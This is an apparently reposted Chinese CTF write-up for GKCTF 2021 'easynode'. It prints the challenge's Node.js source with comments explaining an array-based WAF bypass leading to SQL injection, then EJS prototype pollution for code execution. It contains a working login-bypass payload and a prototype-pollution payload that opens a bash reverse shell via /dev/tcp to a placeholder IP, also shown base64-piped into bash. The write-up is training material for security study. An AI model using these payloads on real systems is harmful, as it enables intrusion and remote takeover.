当前位置:网站首页>[GKCTF 2021]easynode
[GKCTF 2021]easynode
2022-07-25 09:19:00 【怪小生失了神】
开局是登录页面
题目也给出了源码就看源码的index.js
const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());
// 过滤username和password中的危险字符
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
// 配合waf函数把黑名单里的危险字符依次替换为 * 但是是== 弱类型比较
//
//
// 这里操作就可以让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF
// 再通过WAF中拼凑操作 因为JS中,如果两个数组相加 最后的数组被转换为一个字符串
// 要注意这里post的username数组长度一定要长 不然无法登录
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
console.log(sql);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
// 让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1\"');var __tmp2"}} 进行 extend 操作
for(var key in data){
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
// 思路: username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admin的token,
// 总的操作就是 login里面用绕过获得token 再去addAdmin创建用户 最后获取__proto__用户的token 用token去adminDIV POST data数据污染 然后再去admin就能反弹shell
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
app.listen(1337, () => {
console.log(`App listening at port 1337`)
}) 代码分析的操作都在代码里的注释了
获取token的WAF弱比较绕过
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456
POST反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo%20这里写base64后的受害者语句%3D%7Cbase64%20-d%7Cbash');var __tmp2"}上面说的受害者语句 就用下面的去转base64
bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1"
两天干这一道题 对不起我是fw
边栏推荐
- Difference between redis and mongodb (useful for interview)
- C#语言和SQL Server数据库技术
- office文件对应的Content-Type类型
- uni-app - Refused to display ‘xxx‘ in a frame because an ancestor violates the following Content Sec
- 【Nacos】NacosClient在服务注册时做了什么
- leetcode-238.除自身以外数组的乘积
- ActiveMQ -- message retry mechanism
- activemq--可持久化机制之JDBC的journal
- SSM框架整合,简单案例
- Dark horse programmer JDBC
猜你喜欢

Programmers can't SQL? Ashes Engineer: all waiting to be eliminated! This is a must skill!

使用nexus3发布yum私服(离线-内网)

sqli-labs Basic Challenges Less11-22

Query efficiency increased by 10 times! Three optimization schemes to help you solve the deep paging problem of MySQL

activemq--可持久化机制之JDBC代码

uni-app - Refused to display ‘xxx‘ in a frame because an ancestor violates the following Content Sec

redis的五种数据结构原理分析

idea中将lib目录下的jar包加入到项目中

数据控制语言(DCL)

yarn : 无法加载文件 yarn.ps1,因为在此系统上禁止运行脚本。
随机推荐
使用nexus3发布yum私服(离线-内网)
Mongodb exploration phase [easy to understand]
ActiveMQ -- AMQ of persistent mechanism
activemq--可持久化机制之JDBC的journal
OverTheWire-Bandit
[BUUCTF-n1book][第二章 web进阶]SSRF Training
sqli-labs安装 环境:ubuntu18 php7
C#语言和SQL Server数据库技术
Druid 查询超时配置的探究 → DataSource 和 JdbcTemplate 的 queryTimeout 到底谁生效?
Front page printing
TCP网络应用程序开发流程
centos更改mysql数据库目录
Notes on in-depth analysis of C language 2
SQL injection
OpenCV实现简单的人脸追踪
sqli-labs Basic Challenges Less1-10
Ranking of data results in MySQL
activemq--可持久化机制之KahaDB
学习周刊-总第 63 期-一款开源的本地代码片段管理工具
Learning Weekly - total issue 63 - an open source local code snippet management tool